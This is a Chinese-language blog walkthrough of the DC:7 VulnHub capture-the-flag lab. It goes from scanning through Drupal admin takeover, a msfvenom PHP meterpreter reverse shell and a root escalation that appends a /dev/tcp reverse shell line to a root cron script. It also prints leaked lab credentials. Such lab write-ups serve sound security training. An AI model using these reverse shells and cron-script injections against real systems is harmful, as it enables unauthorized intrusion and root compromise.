banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

DC:7-Vulnhub 演练

靶机地址

工具及漏洞信息#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • droopescan
  • 计划任务提权

** 部分工具的用法和详细说明请参考此系列的第一篇文章:bossplayersCTF:1-Vulnhub 演练 **

0x00 信息收集#

扫描靶机信息#

netdiscover-r参数扫描192.168.1.0/16结果如下:

image

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.8

image

robots.txt没有什么可利用的,主页最下面写着Powered by Drupal

扫描路径#

dirb扫描路径:

dirb http://192.168.1.8

image

dirsearch

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

0x01 漏洞扫描#

一圈目录下来,都没什么特别的,user/login界面也没有弱密码:

image

而且后台限制了 5 次登录失败会被暂时锁定,只能从网站框架和模板入手了

Github上针对Drupal的漏扫工具有droopescandrupwn

但是后者不好用就不做介绍了

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

image

而漏洞库不包含扫描出来的版本:

image

cms本身漏洞无法利用,那我们就解决作者本身吧::quyin:OK::

0x01 获得普通账号#

主页的底部除了Powered by Drupal

还有作者的名字@DC7USER,搜了下发现是twitter账号:

image

并且在首页放着一个大大的github链接,作者只有一个仓库staffdb

config.php里明晃晃地写着账号密码和数据库名字:

image

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";

于是用ssh登录进去:ssh dc7user@192.168.1.9,获得了dc7usershell:

image

0x02 获取 shell#

获取到shell第一步当然是查看当前目录有什么文件:

image

mbox很显眼,查看一下:

image

邮件内容应该是备份的日志,调用的脚本是/opt/scripts/backups.sh

貌似还是root权限执行的。如果当前用户有脚本的写入权限,那么应该就可以提权了。

查了一下www-dataroot用户才能修改,内容是用来管理Drupal站点的shell

image

其中有一句话引起了我的注意:

drush sql-dump --result-file=/home/dc7user/backups/website.sql

查了一下,这个drush命令是可以用来修改密码的:

drush user-password USERNAME --password="SOMEPASSWORD"

于是尝试修改admin的密码,需要到某些指定目录例如/var/www/html才能修改:

image

获得管理员账户之后我们登录网站来反弹shell

image

出于安全考虑,PHP Filter已经从Drupal核心中移除

后续作为一个module存在,可以通过手动下载安装:

image

打开网站的模块安装界面/admin/modules:

image

image

搜索模块php,选中我们刚才安装的PHP,点击install启动模块:

image

模块安装好后就可以开始利用漏洞了,在Content中新建一个Basic page

然后在Title输入页面的名称webshell,在Body中放入反弹shellPHP代码

我这里使用msfvenom生成的php shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw

Text format的位置选择PHP code:

image

弄完之后,先别操作,在kali上监听端口

msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

image

最后点击Preview按钮,第一次可能不会成功,退出Preview再来一次即可:

image

获取到的shellwww-root用户的:

image

0x03 backups.sh 提权 root#

之前邮件里的备份计划任务使用的脚本/opt/scripts/backups.sh只有rootwww-data用户可以修改。

所以接下来就是将反弹shell的代码附加到backups.sh脚本中

(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)

然后在kali中监听相应端口,等待计划任务的执行:

使用shell进入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的终端监听指定端口:nc -lvp 3456
将反弹shell代码写进backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

image

等待靶机执行定时任务就可以获得rootshell:

image

成功获得flag:

image

本文完。

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。